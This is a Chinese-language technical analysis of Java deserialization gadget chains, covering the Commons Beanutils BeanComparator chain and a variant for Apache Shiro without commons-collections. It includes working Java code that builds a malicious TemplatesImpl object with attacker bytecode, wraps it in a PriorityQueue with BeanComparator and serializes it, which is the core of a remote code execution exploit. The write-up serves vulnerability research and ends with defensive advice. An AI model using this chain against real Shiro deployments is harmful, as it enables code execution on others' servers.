CommonsBeanutils与无commons-collections的Shiro反序列化利用
字数 1506 2025-08-10 00:23:58
Apache Commons Beanutils与无commons-collections的Shiro反序列化利用分析
一、背景与原理概述
Java反序列化漏洞利用的核心在于找到一条从反序列化入口到危险方法的调用链(Gadget Chain)。本文重点分析两种利用方式:
- 基于Commons Beanutils的通用反序列化利用链
- 在Shiro环境中无commons-collections依赖情况下的特殊利用方式
关键原理:利用java.util.PriorityQueue在反序列化时会进行排序的特性,通过java.util.Comparator接口的compare()方法触发危险操作。
二、Apache Commons Beanutils基础
2.1 Beanutils核心功能
Apache Commons Beanutils提供了操作JavaBean的工具方法,核心特性包括:
- 自动调用getter/setter方法
- 支持属性嵌套访问(如"a.b.c")
- 提供
PropertyUtils.getProperty()等便捷方法
示例JavaBean:
public class Cat {
private String name = "catalina";
public String getName() { return name; }
public void setName(String name) { this.name = name; }
}
2.2 PropertyUtils.getProperty方法
该方法支持自动调用getter方法:
PropertyUtils.getProperty(new Cat(), "name"); // 自动调用getName()
支持递归属性访问:
PropertyUtils.getProperty(a, "b.c"); // 获取a.getB().getC()
三、BeanComparator利用链分析
3.1 BeanComparator类
org.apache.commons.beanutils.BeanComparator实现了Comparator接口,其compare()方法关键逻辑:
public int compare(T o1, T o2) {
if (property == null) {
return internalCompare(o1, o2);
}
try {
Object value1 = PropertyUtils.getProperty(o1, property);
Object value2 = PropertyUtils.getProperty(o2, property);
return internalCompare(value1, value2);
} catch (Exception e) {
throw new RuntimeException(e.toString());
}
}
3.2 利用点分析
通过控制property属性,可以触发任意getter方法调用。结合TemplatesImpl类的getOutputProperties()方法:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
} catch (TransformerConfigurationException e) {
return null;
}
}
调用链:
TemplatesImpl.getOutputProperties()
-> TemplatesImpl.newTransformer()
-> TemplatesImpl.getTransletInstance()
-> TemplatesImpl.defineTransletClasses()
-> TransletClassLoader.defineClass()
四、完整利用链构造
4.1 恶意TemplatesImpl对象构造
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{evilClassBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
4.2 PriorityQueue与BeanComparator组合
// 初始化比较器
final BeanComparator comparator = new BeanComparator();
// 创建优先队列
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
// 设置恶意属性
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
4.3 序列化触发
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
五、Shiro环境下的特殊利用
5.1 Shiro环境特点
- 自带commons-beanutils但版本较旧(1.8.3)
- 不完整包含commons-collections
- 传统利用链依赖
ComparableComparator导致失败
5.2 问题解决
5.2.1 serialVersionUID不匹配问题
解决方案:统一使用commons-beanutils 1.8.3版本
5.2.2 缺少ComparableComparator问题
寻找替代的Comparator实现,需满足:
- 实现
java.util.Comparator接口 - 实现
java.io.Serializable接口 - Java/Shiro/Beanutils自带
找到java.lang.String.CaseInsensitiveComparator:
public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator implements Comparator<String>, java.io.Serializable {
// 实现细节...
}
5.3 改造后的利用链
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
// 后续设置与之前相同
六、防御建议
- 升级Shiro到最新安全版本
- 使用白名单机制限制反序列化类
- 移除不必要的依赖(commons-beanutils等)
- 配置安全策略限制危险操作
七、总结
本文详细分析了:
- Commons Beanutils的基本原理和危险方法
- 基于BeanComparator的完整利用链构造
- Shiro环境下无commons-collections的利用方式
- 通过String.CaseInsensitiveComparator绕过限制的技巧
关键点在于理解反序列化触发机制和灵活寻找替代组件的能力。这种分析方法也可应用于其他反序列化漏洞的研究。